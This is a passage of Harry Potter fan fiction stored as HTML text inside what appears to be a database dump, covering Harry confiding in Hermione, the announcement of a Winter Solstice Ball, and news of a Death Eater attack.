wasn\'t any ordinary scar after all. It was a cursed scar, a dark mark. It linked him to Voldemort, and Dumbledore even knew why it burned; Voldemort had returned, and was back. <br>\n\n\n<br>\n Harry laughed again. It was unbelievable really. That him, invisble, skinny, weak, Harry Potter, would have defeated Voldemort at the age of one. That he had rendered the Dark Lord powerless. It was rather amusing to picture it. Yet Voldemort had risen again, and somehow, even if Dumbledore had not said it, Harry knew. Voldemort had risen and was back for revenge no doubt.<br>\n\n\n<br>\n\n\n<i>I guess I\'m not so unpopular now then? I\'m being stalked by the most feared wizard on earth. Joy! &nbsp;</i>Harry shook his head bitterly, opening his eyes and feeling the tears brimming. He squeezed them shut again, letting the anguish flood in and out of him.<br>\n\n\n<br>\n His life was not ordinary at all. Yet he had always lived it feeling ever so ordinary that he felt dull. <i>Oh the bitter truth. </i><br>\n\n\n<br>\n &quot;Harry!&quot;<br>\n\n\n<br>\n He opened his eyes. They felt dry now, and tired. An image of a girl slowly became clearer, standing close to the portait hole with an worried expression on her pretty face. It was Hermione.<br>\n\n\n<br>\n &quot;Hullo,&quot; He greeted dryly.<br>\n\n\n<br>\n &quot;You don\'t look okay..&quot; She walked toward him, her bushy hair slightly damp. She must\'ve been in the rain for a while, Harry thought.<br>\n\n\n<br>\n He looked at her blanky, &quot;I know.&quot; <br>\n\n\n<br>\n She tilted her head curiously, confusion flashed through her eyes briefly before she crouched down to be eye level with him. &quot;Harry...? What happened? Back in your room...when you..&quot;<br>\n\n\n<br>\n &quot;Fainted?&quot; He finished. &quot;Oh, it was because my scar was hurting.&quot; He replied and reached up to his forehead, jabbing a finger at the lightning-bolt scar. &quot;<i>That</i> scar.&quot;<br>\n\n\n<br>\n Hermione\'s eyes darted upwards and quickly back to Harry\'s glazed eyes again. &quot;Stop acting so...cold.&quot;<br>\n\n\n<br>\n He shrugged, &quot;Whatever. <i>You</i> probably knew something too, didn\'t you?&quot;<br>\n\n\n<br>\n She clearly looked surprised. &quot;What?\'<br>\n\n\n<br>\n &quot;Maybe you were like the rest of them. Underneath all of their concerned looks, and their smiles, they all knew the truth. Did <i>you</i>?&quot;<br>\n\n\n<br>\n Hermione stood up again, her brow furrowed. &quot;What are you talking about?!&quot;<br>\n\n\n<br>\n &quot;The truth,&quot; Harry stood up. Although he was a skinny boy, he was tall, and a head taller than Hermione to be exact. <br>\n\n\n<br>\n She wanted to step back from his piercing green eyes, but before she could she felt his cold hands on her shoulders, shaking her gently. &quot;Are you lying to me too Hermione? Are you?&quot; His shaking became rougher, his eyes ablaze.<br>\n\n\n<br>\n &quot;I don\'t know what you\'re saying!&quot; She pushed him back, stumbling backwards from the force. &quot;Snap out of it! You\'re...scaring me.&quot; She bit her lip and willed herself to look him in the eye. &quot;You\'re not acting like the Harry I met months ago.&quot;<br>\n\n\n<br>\n &quot;That\'s because the Harry you met didn\'t know.&quot;<br>\n\n\n<br>\n &quot;Didn\'t know...?&quot;<br>\n\n\n<br>\n &quot;Didn\'t know who he was. Didn\'t know the truth.&quot;<br>\n\n\n<br>\n Hermione crossed her arms tightly. &quot;What is with you! And this whole truth thing! I think you must\'ve hit your head somewhere when you fainted...perhaps I should..&quot;<br>\n\n\n<br>\n &quot;No,&quot; Harry cut her off. &quot;You don\'t understand.&quot; His eyes widened as he stumbled back, almost as if he was frightened. Hermione shivered, he looked so helpless. An eerie light in his eyes...like he had gained some new knowledge that was so overwhelming to his very soul. And suddenly Hermione knew. She couldn\'t be scared of Harry now. He clearly needed someone at the moment, and here she was, backing away from someone who looked utterly lost and confused.<br>\n\n\n<br>\n She stepped forward, &quot;Harry..&quot;<br>\n\n\n<br>\n &quot;I should\'ve died..&quot;<br>\n\n\n<br>\n Her eyes widened, but she forced herself to reach out to him. &quot;Harry, calm down. Maybe I can..&quot;<br>\n\n\n<br>\n &quot;There\'s so much I have to understand,&quot; He mumbled anxiously at her. &quot;And think I\'m suppose to do something, but I don\'t know what I\'m suppose to do.&quot;<br>\n\n\n<br>\n She was a feet away from him now, and she could clearly see the sweat forming on his forehead and that his shoulders were shaking slightly. Hermione swallowed and reached for his hands, grasping them tightly in her own soft ones. &quot;Harry, I\'ll help you. I\'ll help you try to do whatever you\'re suppose to do.&quot;<br>\n\n\n<br>\n &quot;I don\'t know..&quot; He muttered under his breath.<br>\n\n\n<br>\n &quot;I don\'t know either,&quot; She replied, feeling her mind spinning in confusion and agitation. &quot;But if you tell me what\'s the matter, I can help.&quot; She said in a strangely steady voice.<br>\n\n\n<br>\n Harry stopped shaking for a second and looked her straight in the eye, as if he was trying to see into her. Read her emotions and thoughts. He gulped and sank weakly down on the couch behind him and let out a breath. &quot;I\'m sorry.&quot;<br>\n\n\n<br>\n Hermione relaxed, a small smile on her face. &quot;It\'s alright.&quot;<br>\n\n\n<br>\n &quot;I must\'ve scared you,&quot; He rubbed his temples furiously and glanced up at the girl standing in front of him. &quot;Thanks.&quot;<br>\n\n\n<br>\n &quot;Why? I haven\'t done anything.&quot;<br>\n\n\n<br>\n &quot;Well, you have,&quot; Harry blushed. &quot;I think you\'ve done more than anyone else I\'ve ever met. Just by simply being there.\'<br>\n\n\n<br>\n Hermione looked away, &quot;I came here to find my quill. I\'m sure I left it here..&quot;<br>\n\n\n<br>\n &quot;Is it this one?&quot; He lifted his hand and showed her a petite eagle feathered quill that Hermione hadn\'t realized was in his hands all along.<br>\n\n\n<br>\n &quot;Er, yes. That one.&quot; She took it from him and awkwardly placed it in her pocket. She sat down next to him.<br>\n\n\n<br>\n &quot;So what\'s new?&quot; She asked lightly.<br>\n\n\n<br>\n Harry sat back and smirked, &quot;Alot.&quot;<br>\n\n\n<br>\n &quot;I kind of guessed,&quot; Hermione answered. &quot;You looked kind of...&quot;<br>\n\n\n<br>\n &quot;Crazy?&quot;<br>\n\n\n<br>\n &quot;Yeah.&quot;<br>\n\n\n<br>\n Harry looked at her sheepishly. &quot;Sorry.&quot;<br>\n\n\n<br>\n &quot;Enough with the apologizes.&quot; Hermione silenced him and that was how they sat for quite a long time. In silence except for the pitter patter of the rain pelting against the windows. There was no light in the room except for the glow of the fireplace which casted eerie shadows across the common room. Everyone was probably at lunch now, except them of course.<br>\n\n\n<br>\n &quot;I know now.&quot; Harry finally spoke up in a soft voice. &quot;I know who my parents are, how they died, why I\'m even still alive.&quot;<br>\n\n\n<br>\n &quot;That\'s a good thing isn\'t it? To know?&quot;<br>\n\n\n<br>\n &quot;Yes...but they\'ve known all along. Everytime I\'ve been in detention, everytime I\'ve had a conversation with them, they\'ve always known.&quot;<br>\n\n\n<br>\n &quot;Who\'s \'they\'?&quot; Hermione questioned.<br>\n\n\n<br>\n Harry sighed, &quot;Dumbledore...McGonagall, Hagrid...and some guy named Sirius Black who\'s supposedly my godfather.&quot;<br>\n\n\n<br>\n &quot;You have a godfather?!&quot;<br>\n\n\n<br>\n &quot;Exactly,&quot; Harry scowled. &quot;I\'ve never known. Nothing. I\'ve just been an empty shell with a blank for my real life. For who I really am- I\'ve never known...&quot;<br>\n\n\n<br>\n Hermione glanced at the fire, looking at it for comfort. &quot;Well...don\'t say that. You know who you are. You\'re <i>Harry</i>. Even without knowing your parents and not knowing other things, you\'ve still become Harry. You\'re still yourself, because you\'ve still become a person with your own unique individuality.&quot;<br>\n\n\n<br>\n &quot;Maybe I could\'ve been different...&quot; He uttered.<br>\n\n\n<br>\n She turned her head and stared at the boy sitting next to her with a dazed expression. &quot;Why would you want to be any different?&quot;<br>\n\n\n<br>\n &quot;...You know why.&quot;<br>\n\n\n<br>\n &quot;No, I don\'t,&quot; Hermione stated firmly. <br>\n\n\n<br>\n &quot;I can\'t do anything,&quot; He said helplessly. &quot;I\'m not..noticed. I\'m not popular like you. I\'m not anything out of the ordinary. I can\'t achieve anything, I haven\'t actually. Except for becoming Seeker possibly. Other than that, I\'ve just spent my life wallowing in nothingness. I\'ve never done anything to get other people\'s attention. I\'m invisible and I\'ve never been useful.&quot;<br>\n\n\n<br>\n She stared at him incredously. Harry looked at her quickly and looked away, sighing. &quot;Ok, so now you probably think I\'m a loser. Ha ha...&quot;<br>\n\n\n<br>\n &quot;Harry Potter, don\'t ever say that again!&quot; She snapped, and Harry noticed she almost seemed angry. &quot;You\'re not useless. You\'re not invisible, and you\'re not a loser. Goodness, if you\'re looking for pity then..&quot;<br>\n\n\n<br>\n &quot;I don\'t want pity,&quot; He interupted.<br>\n\n\n<br>\n &quot;Fine, scratch that out, but what you\'re doing is exactly that. If you\'re dissing yourself, then no wonder you feel like you can\'t achieve anything. That\'s because you probably don\'t believe in yourself.&quot; Hermione huffed and fell silent. &quot;You\'re smart.&quot; She added and felt awfully stupid.<br>\n\n\n<br>\n Harry turned crimson, &quot;Er..&quot;<br>\n\n\n<br>\n &quot;And who cares about popularity!&quot; She threw her arms in the air. &quot;Being popular isn\'t everything. People talk behind your back, and no one is ever really a friend to you. They all just want to benefit from you. I can throw away all the popularity just for a couple of <i>real </i>friends.&quot;<br>\n\n\n<br>\n Harry sat in silence, absorbing her words in astonishment.<br>\n\n\n<br>\n &quot;And you know, I feel like you\'re a real friend to me,&quot; Hermione leaned forward a bit and propped her elbow up on her knee to let her chin rest in her palm. &quot;Like Ron, and Ginny. I know we haven\'t known each other for the longest time, but...ok this is silly, but I feel like I\'ve met you longer than a few months.&quot; Her cheeks burned. &quot;Don\'t laugh.&quot;<br>\n\n\n<br>\n &quot;I\'m not going to,&quot; Harry said softly. &quot;...Hermione?&quot;<br>\n\n\n<br>\n &quot;Hmm?&quot;<br>\n\n\n<br>\n &quot;How about I tell you what happened?&quot;<br>\n\n\n<br>\n &quot;Sure,&quot; Hermione beamed.<br>\n\n\n<br>\n &quot;I trust you,&quot; He added in a whisper.<br>\n\n\n<br>\n Hermione blinked as a bright smile lit her face. &quot;Good, because I trust you too.&quot;<br>\n\n\n<br>\n Harry nodded and smiled, &quot;So, I had this talk with Dumbledore...&quot;<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;So he\'s not going to say anything?&quot;<br>\n\n\n<br>\n Harry shook his head, &quot;Yes, it\'s just between him and me, well, and perhaps the other few people that know about this.&quot;<br>\n\n\n<br>\n Hermione nodded in amazement. &quot;Then, are you going to get to meet your godfather?&quot;<br>\n\n\n<br>\n &quot;Dumbledore said...as soon as he can get in contact with him,&quot; Harry replied. <br>\n\n\n<br>\n &quot;That name is awfully familiar...Sirius Black...&quot; Hermione mumbled thoughtfully as Harry watched her. &quot;Oh! Isn\'t he...I mean wasn\'t he the one who got blamed...er...&quot; She fell silent.<br>\n\n\n<br>\n &quot;What?&quot;<br>\n\n\n<br>\n &quot;Well...he was blamed for murdering your parents. For telling where there location was, since your parents were in hiding! It was all over the news last year, when Sirius Black got a trial, and his name was cleared.&quot; Hermione explained. &quot;This is awfully complicated..&quot;<br>\n\n\n<br>\n Harry paled, &quot;What? He killed my parents?!&quot;<br>\n\n\n<br>\n &quot;No, he was <i>thought</i> to have betrayed them,&quot; Hermione reassured. &quot;Oh, it\'s old news. You can probably ask him yourself when you meet him!&quot;<br>\n\n\n<br>\n Harry smiled softly, &quot;Thanks for listening.&quot;<br>\n\n\n<br>\n No words were exchanged, just knowing glances.<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n Eversince Harry had spilt his heart and soul out to her, she had felt...happy. In fact, she felt a special kind of bond between her and Harry now. She even thought that she could tell what he was thinking of, read his expressions, tell if he was down or up. And she liked that special little bond.<br>\n\n\n<br>\n It also made her feel happy in a way that she was the first person Harry had ever opened up to. First person that he ever confided in, and the first person he let to see the real Harry. The Harry who liked the same things as everyone else, had dreams, and had goals. A typical teenaged boy. And she was the first one to meet him- Harry Potter.<br>\n\n\n<br>\n She was humming a little tune to herself now as she waited for breakfast to appear on the golden plates and goblets, but just as she thought they were to appear, Dumbledore stood up from the head table with a wispy smile across his features.<br>\n\n\n<br>\n &quot;As we all know, the re-match between Gryffindor and Slytherin is just around the corner, as it is being held on Christmas Eve.&quot; Dumbledore\'s eyes swept across the room and Hermione thought that he was eyeing Harry especially. &quot;And it is tradition at Hogwarts to have a feast on Christmas Day, yet this year, the staff and I have decided to add a little treat to it.&quot;<br>\n\n\n<br>\n The Great Hall fell silent as all the students from first year to seventh sat with anticipation.<br>\n\n\n<br>\n &quot;There will be a ball. A Winter Solstice Ball.&quot;<br>\n\n\n<br>\n At once the Great Hall was silent no more. Whispers and murmering abrupted fom cluttered groups of friends, squeals of delight from girls and blank stares from the males. It was obviously something the students had not suspected. A ball! They hadn\'t had one since the Triwizard Tournament!<br>\n\n\n<br>\n A boy stuck his hand up. &quot;But don\'t we get off of school on Christmas?&quot;<br>\n\n\n<br>\n &quot;Precisely,&quot; Dumbledore replied and recieved confused looks from all the students. &quot;It is optional of course. If you wish to attend the ball, you may leave a day later. If you wish not to attend the ball, then you may leave on the original date. But first of all, the ball is for fourth years and up.&quot;<br>\n\n\n<br>\n The first years didn\'t seem to mind, nor did the second years. Some of the third years groaned and went back to staring at their empty plates and goblets. <br>\n\n\n<br>\n &quot;Formal dresswear will be required. Now, let us eat breakfast and have a delightful day,&quot; Dumbledore sat back down and at once breakfast appeared on their tables.<br>\n\n\n<br>\n &quot;Oh no! I don\'t think I\'ve got any robes for this ball...&quot; Ginny cried in despair.<br>\n\n\n<br>\n Hermione picked at her bacon. &quot;Hmmm...&quot;<br>\n\n\n<br>\n &quot;Ooooh I can\'t wait!!&quot; Lavender squealed in delight. &quot;It\'s alright Ginny. I\'m sure we have some extra robes for you.&quot; Lavender smiled along with Parvati as they giggled crazily. &quot;I bet Seamus is going to ask you!&quot;<br>\n\n\n<br>\n Parvati stuck her tongue out. &quot;No way! He hates me.&quot;<br>\n\n\n<br>\n &quot;That\'s a sign,&quot; Lavender piped knowingly.<br>\n\n\n<br>\n Hermione rolled her eyes as Ginny looked at her curiously. &quot;So who are you going to go with?&quot;<br>\n\n\n<br>\n &quot;Oh nobody...perhaps I\'ll just stick with the books..&quot;<br>\n\n\n<br>\n &quot;That\'s a conspiracy!&quot; Parvati cried out in alarm. &quot;I mean, you\'d be missing the ball! And second, it would be Christmas! Books and Christmas just don\'t miss!&quot;<br>\n\n\n<br>\n &quot;You just voiced my thoughts,&quot; Ron murmered and grinned at Hermione. &quot;But it\'s just like Hermione. Books on all occasions.&quot;<br>\n\n\n<br>\n She shooked her head lightly, pouring pumpkin juice into her goblet. &quot;Well it\'s just a ball. What\'s all the fuss?&quot;<br>\n\n\n<br>\n &quot;Just a ball?&quot; Lavender looked like she was going to faint. <br>\n\n\n<br>\n Lavender and Parvati spent the next few minutes blabbering on about the importance of balls, though Hermione was not really listening. She was staring off, and to be exact, she was staring in Harry\'s direction.<br>\n\n\n<br>\n He was sitting like usual at the end of the table, across from Neville. He too was picking at his bacon and looking extremely bored. &quot;Talk to you all later,&quot; she suddenly sat up and left Lavender and Parvati bickering to themselves.<br>\n\n\n<br>\n &quot;Good morning, Harry!&quot; She greeted cheerfully as she plopped down beside him.<br>\n\n\n<br>\n His head sprung up in surprise as a grin suddenly lit his face. &quot;Hermione!&quot;<br>\n\n\n<br>\n &quot;Looks like you like torturing your bacon eh?&quot; She glanced down at his mushed up bacon, noticing that he immediatly stopped stabbing it with his fork. <br>\n\n\n<br>\n &quot;Oh, I was thinking,&quot; He dropped his fork and suddenly his grin vanished. &quot;So...er...excited about the ball?&quot;<br>\n\n\n<br>\n &quot;Not really.&quot;<br>\n\n\n<br>\n &quot;Oh.&quot; He said bluntly.<br>\n\n\n<br>\n Hermione smiled, &quot;You?&quot;<br>\n\n\n<br>\n &quot;...Not really,&quot; Harry wanted to mentally smack himself. &quot;So, who are you going with?&quot;<br>\n\n\n<br>\n &quot;I don\'t know,&quot; Hermione replied truthfully.<br>\n\n\n<br>\n Harry returned to poking at his poor bacon. &quot;Well you <i>are</i> Head Girl, you\'ll have boys asking you in no time.&quot;<br>\n\n\n<br>\n &quot;Well...&quot; She was turning redder by the second. &quot;Oh stop teasing me!&quot; <br>\n\n\n<br>\n He looked at her innocently. &quot;Fine.&quot;<br>\n\n\n<br>\n Silence.<br>\n\n\n<br>\n Harry looked up slowly. &quot;So...you...er..&quot;<br>\n\n\n<br>\n &quot;Hmm?&quot;<br>\n\n\n<br>\n &quot;Eee...errr.....ummmm...&quot;<br>\n\n\n<br>\n Hermione quirked an eyebrow at him. &quot;Ok...heee haaa hooo...&quot; She mimicked, breaking into giggles.<br>\n\n\n<br>\n Harry blushed and shook his head, &quot;Nevermind.&quot;<br>\n\n\n<br>\n She didn\'t know why, but she felt sinking disappointment weigh heavily in her chest. She blinked and shook her head clear. &quot;Oh.&quot; Was all she managed to say. &quot;So...who are you planning to go with?&quot;<br>\n\n\n<br>\n Harry suddenly took great interest in his beat up bacon. &quot;Oh...well, I don\'t know if I want to go.&quot;<br>\n\n\n<br>\n &quot;Well, I think you should go,&quot; Hermione shrugged.<br>\n\n\n<br>\n &quot;What?&quot;<br>\n\n\n<br>\n &quot;I think it would be good for you to go,&quot; She repeated. &quot;I mean, some social stuff would help wouldn\'t it?&quot; She suggested.<br>\n\n\n<br>\n Harry finally raised his fork and bit a piece of the bacon off. He munched quietly, staring at the enchanted ceiling which was sprinkling snow at the moment. &quot;Well, it\'ll be really boring...I mean I\'ll probably spend the whole time sitting off at the side and my only companion would be the wall and the ceiling.&quot;<br>\n\n\n<br>\n &quot;Well, ask girls to dance!&quot; Hermione blurted.<br>\n\n\n<br>\n Harry stared at her as if she had grown another head. &quot;No way! That would be...plain weird. Crazy. Insane.&quot;<br>\n\n\n<br>\n Hermione giggled, making Harry stare at her goggle-eyed. &quot;Now you\'re laughing at me!&quot;<br>\n\n\n<br>\n &quot;You just look so silly,&quot; Hermione stated. &quot;Ok, ok. I won\'t force you to go. You wanna hit the books with me?&quot;<br>\n\n\n<br>\n Harry laughed, &quot;Right.&quot;<br>\n\n\n<br>\n &quot;No seriously!&quot;<br>\n\n\n<br>\n Harry just laughed a bit more before a sudden figure approached. It was Justin Finch-Fletchley, and he was panting slightly for he had obviously ran over to them. &quot;Hello Hermione,&quot; He breathed and gave a side ways glance at Harry. &quot;Hello...er..&quot;<br>\n\n\n<br>\n &quot;Hello Justin,&quot; Hermione greeted.<br>\n\n\n<br>\n Justin smiled slightly, &quot;About the ball, want to go with me?&quot;<br>\n\n\n<br>\n &quot;Um...&quot; <br>\n\n\n<br>\n &quot;I mean, I really want to go with you,&quot; Justin added with a tint of pink on his cheeks. &quot;And it\'ll look neat..you know...Head Boy and Girl going together.&quot;<br>\n\n\n<br>\n Hermione bit her lip, which was a habit of hers that Harry noticed she did often when she was nervous, confused, or lost. Right now she was doing just that and she was even fidgeting with the ends of her robes. &quot;Um...well..&quot;<br>\n\n\n<br>\n Justin stared at her. Hermione quickly glanced at Harry who looked kind of dumbstruck at the moment, and then back at Justin and his hopeful eyes. &quot;Oh...er...sure?&quot;<br>\n\n\n<br>\n His smile broadened, &quot;Great! Then how about I\'ll meet you at the library at 7, and then we can go to the Great Hall together?&quot;<br>\n\n\n<br>\n &quot;Sure..&quot; Hermione repeated as Justin walked walked away with a kind of skip to his steps.<br>\n\n\n<br>\n She turned back towards Harry who was staring at his half eaten bacon again. She didn\'t know why she felt a sudden surge of embarrassement...or was it guilt? She looked at Harry\'s face, wanting to read his expression but was failing terribly for he was paying all his attention to the bacon on his plate. &quot;Er, so where were we Harry?&quot;<br>\n\n\n<br>\n &quot;Um...nothing,&quot; He stuttered. &quot;Nothing at all...&quot;<br>\n\n\n<br>\n &quot;Oh...ok...&quot;<br>\n\n\n<br>\n And the two just stared blankly- Harry with his bacon and Hermione with her robes. Both fidgeting and feeling uneasy, and both suddenly feeling disappointment and annoyance course through them. And both had no clue why.<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<i><br>\n\n\n</i><br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n '),
	(207, 10, ' <br>\n\n\n<br>\n AN: Updates might be slower now since school has started. &nbsp; Thank you all for the wonderful support =) !!<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Disclaimer: I don\'t own any of the original characters in Harry Potter, J. K. Rowling does. The plot and any extra characters belong to me :)<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>Underneath it All<br>\n Chapter Ten: Friendship?</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n It was a week before the Quidditch match, and just a week and a day until the Winter Solstice Ball. Of course, everyone was feeling overly excited and found it awfully hard to concentrate during classes. And so with all the excitement, everyone forgot to worry.<br>\n\n\n<br>\n It was just another morning, with everyone heading into the Great Hall for breakfast like usual, under the enchanted ceiling which was still drifting flakes of snow. Harry was amongst the crowd and as he sat down on his seat, he was surprised to see Hedwig soar in with the rest of the owls to deliver the morning post. Of course, it had been hard to spot Hedwig at first, since he blended in with the ceiling, but soon enough, it couldn\'t be mistakened. Hedwig did indeed have something to drop off for him.<br>\n\n\n<br>\n And sadly, it wasn\'t anything interesting. It wasn\'t a letter from an old friend (not like he had an old friend), nor was it a package from home (if you could call <i>that</i> home a home..), it was simply a copy of the Daily Prophet. And Harry found it rather strange that Hedwig had brought him a copy, since he hadn\'t subscribed to the ever so popular wizarding newsletter...unless Hedwig had snatched it from somebody else.<br>\n\n\n<br>\n He looked curiously at his owl who simply stared back at him and hooted in triumpth, as if he were saying, &quot;Well, shouldn\'t you be thanking me now?&quot;<br>\n\n\n<br>\n Yet Harry didn\'t know what to make of it, but still he ripped off a bit of his toast and offered it to Hedwig while flipping open the Daily Prophet with slight interest. He scanned the front cover, suddenly feeling awfully chilly although he was warmly dressed. The front cover had in big bold calligraphy: \'ATTACK ON OTTERY ST. CATCHPOLE\'. Harry lifted his head after reading, and noticed that he was not the only one.<br>\n\n\n<br>\n Ron Weasley was sitting nearby, gripping a copy of the Daily Prophet so tightly that his knuckles were as white as the snow outside. Harry suddenly felt that this was no ordinary attack...well of course it wasn\'t. It had said clearly that there were Death Eaters present, and a strange person in a dark cloak that was still not identified. And of course, many lost their lives. Even a few of the more famous wizarding familes; the Lovegoods and Fawcetts.<br>\n\n\n<br>\n Harry swallowed. Ron was still gripping the copy of the newsletter tightly as his younger sister Ginny Weasley ran up to him from behind crying out, &quot;Ron! Ron! Did you see?! Did you read...&quot; Yet her voice trailed off at once when she spotted the newsletter gripped tightly in her brother\'s hands. &quot;Oh Ron...I\'m so glad they\'re ok.&quot;<br>\n\n\n<br>\n &quot;It would\'ve been so close though Ginny..&quot; Ron said shakily. &quot;So <i> close</i> .&quot;<br>\n\n\n<br>\n &quot;I know...but let\'s not think of that,&quot; Ginny added hastily. &quot;They\'re ok.&quot;<br>\n\n\n<br>\n &quot;What if they aren\'t? Maybe the reporters didn\'t find out that perhaps our home was attacked along with the rest...and maybe they forgot to include it in the news or..&quot; Ron suddenly stopped short by the frightened look on his sister\'s pale features. &quot;Oh Ginny..nevermind what I said. Yes, you\'re right. They must be ok..&quot;<br>\n\n\n<br>\n &quot;They <i>are</i>,&quot; Ginny repeated and took out a piece of parchment from her robes. &quot;I got this, this morning. From Pig. It\'s from mum, saying everything\'s alright at The Burrow, but it\'s pretty much ruins beyond the hills...&quot;<br>\n\n\n<br>\n Ron took the letter in his hands, scanning it quickly with his eyes and letting a breath of relief escape his lips. &quot;Death Eaters...this hasn\'t happened since when? Seventeen years ago?&quot;<br>\n\n\n<br>\n Ginny just nodded weakly and suddenly noticed that a pair of eyes were watching them intently. She turned and met Harry\'s gaze. &quot;Um...?&quot; <br>\n\n\n<br>\n Harry quickly snapped to attention and dropped his own copy of the Daily Prophet, Ginny following his every move. &quot;Er...I was just wondering, well, that attack sounded pretty awful eh?&quot;<br>\n\n\n<br>\n &quot;Well...yeah,&quot; Ginny replied. &quot;Ottery St. Catchpole is really near are home. You can even say we live there. That\'s why we,&quot; she waved a hand lightly at Ron, &quot;were so worried.&quot;<br>\n\n\n<br>\n Harry nodded numbly, &quot;...I see...and you said, there haven\'t been attacks for seventeen years?&quot;<br>\n\n\n<br>\n &quot;The last attacks were before...you-know-who suddenly disappeared...&quot; Ron muttered, his eyes darting about. &quot;It\'s strange really...it couldn\'t be that...you-know-who could be...back?&quot;<br>\n\n\n<br>\n Ginny nearly gasped and stared at her brother wide-eyed. &quot;Ron! Don\'t say that!&quot;<br>\n\n\n<br>\n &quot;How else do you explain this then?&quot; Ron shot back and sighed. &quot;Oh it doesn\'t matter, as long as mum and dad are ok.&quot;<br>\n\n\n<br>\n The youngest Weasley decided to drop the matter and retreated silently back to her seat without another word. Harry stared from Ron to Ginny\'s retreating figure and suddenly lost his appetite. &quot;I never got to worry.&quot; He suddenly spoke.<br>\n\n\n<br>\n Ron folded up his copy of the Daily Prophet and glanced at him curiously. &quot;What?&quot;<br>\n\n\n<br>\n &quot;...Er..well,&quot; Harry looked at him sheepishly. &quot;I never got to worry. I didn\'t have time to worry...or you could say I didn\'t know <i>how</i> to worry then. I couldn\'t worry about my parents\' safety...I was only a year old. They just died and I had no clue whatsoever about what was going on.&quot;<br>\n\n\n<br>\n The red-head stared, and suddenly dropped his gaze. &quot;Oh. I\'m sorry..&quot; <br>\n\n\n<br>\n &quot;It\'s okay,&quot; Harry shrugged and returned to his breakfast, noticing that Hedwig had flown off with half of his sandwich. He smiled to himself and glanced up at the snowing ceiling.<br>\n\n\n<br>\n It really felt like Christmas now. With the snow floating down and blanketing the grounds with nice, pure, white, snow. Beautiful snow. Clean and fresh, and soft at first. And Harry suddenly had a strange thought. If that beautiful white snow was to be ruined...by perhaps a stain. One step in that snow, it would no longer be that fresh flat piece of perfection. No...it would forever be ruined. And he imagined. Perhaps...what if blood was spilt onto that wonderful snow? Wouldn\'t that ruin it even more. What a frightening sight that would be...blood-stained snow.<br>\n\n\n<br>\n Harry shivered. <i>Bloody hell, what am I thinking?<br>\n\n\n<br>\n\n\n<br>\n\n\n</i>\n\n<center>~*~</center>\n\n<br>\n\n\n<i>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n</i>Hermione stepped forward, then backwards again. She shuffled her feet and glanced down at her robes thoughtfully, and then she stepped forwards again.<br>\n\n\n<br>\n &quot;Oh how do I say this? I\'ll sound like such a complete idiot!&quot; She was having a headache. A really pointless headache. Hermione refused to stay so frustrated when she knew she could get her problem solved just by walking up to <i>him</i> and say that she had decided to not go to the ball at all. And yet it was so very hard to get herself to walk up to Justin when he was just a few steps away.<br>\n\n\n<br>\n\n\n<i>Oh Hermione, he\'s not going to bite!</i> Her mind scoffed as she stepped back again.<br>\n\n\n<br>\n Hermione sighed. This would be her only chance for the day to get to talk to Justin since they only had Herbology class together today. But there was also dinner time when she could tell him, but then there would be too many people around. <br>\n\n\n<br>\n She bit her lip. <i>Well are you Head-Girl or not?</i> Hermione sucked in a breath and took two large steps forward. &quot;Hello Justin!&quot; She greeted breathlessly as if she had just run a mile.<br>\n\n\n<br>\n The Head-Boy turned around and grinned, &quot;Oh hullo Hermione. You look kind of knocked out.. you alright?&quot;<br>\n\n\n<br>\n &quot;Oh, I\'m fine! Really fine.&quot; Hermione said with a wave of her hand and smiled lightly. &quot;Er...&quot;<br>\n\n\n<br>\n &quot;Hm?&quot; Justin glanced at her curiously. &quot;Are you having trouble with your Teafee plant?&quot;<br>\n\n\n<br>\n &quot;What?&quot; Hermione blinked, then shook her head. &quot;Oh! My plant?&quot; She looked over her shoulder. &quot;No, it\'s fine. It\'s something else.&quot;<br>\n\n\n<br>\n Justin\'s brow scrunched up thoughtully. &quot;Well, whatever it is, it seems to be troubling you.&quot;<br>\n\n\n<br>\n &quot;It <i>is</i>!&quot; Hermione declared exasperatedly. &quot;I meant to say that...um...&quot; And suddenly she felt awfully bad. She didn\'t want to hurt anyone\'s feelings, and what if he took it the wrong way and..well being on bad terms with the Head-Boy while you were Head-Girl just didn\'t seem to make sense. <br>\n\n\n<br>\n Hermione swallowed, keeping her forced smile on her lips. &quot;Lovely plant.&quot;<br>\n\n\n<br>\n Justin chuckled, &quot;Yes. They\'re rather interesting actually. Oh look, it\'s spurting Green Tea.&quot;<br>\n\n\n<br>\n She laughed lightly- this was getting no where so far. &quot;Oh by the way...&quot;<br>\n\n\n<br>\n &quot;Hmm?&quot;<br>\n\n\n<br>\n &quot;About the ball...&quot;<br>\n\n\n<br>\n Justin nodded, &quot;Yes, it\'ll be great fun!&quot;<br>\n\n\n<br>\n &quot;Um, right.&quot; Hermione\'s voice trailed off and she sighed. &quot;Well, I better get back to my plant.&quot;<br>\n\n\n<br>\n &quot;See you later then?&quot;<br>\n\n\n<br>\n &quot;Sure,&quot; Hermione quickly shuffled away and back to her table that she shared with Ron, Seamus, Lavender, and Parvati.<br>\n\n\n<br>\n Ron nudged her lightly. &quot;So, taken interest in the Head-Boy?&quot;<br>\n\n\n<br>\n She scowled, &quot;Of course not.&quot;<br>\n\n\n<br>\n &quot;Seems like you two were having might fun chit-chatting,&quot; Seamus wiggled his eyebrows.<br>\n\n\n<br>\n Hermione rolled her eyes, &quot;No. In fact I didn\'t even get to say what I intended to say, and now I don\'t know how I\'m going to say it. He\'s so excited about it.&quot;<br>\n\n\n<br>\n 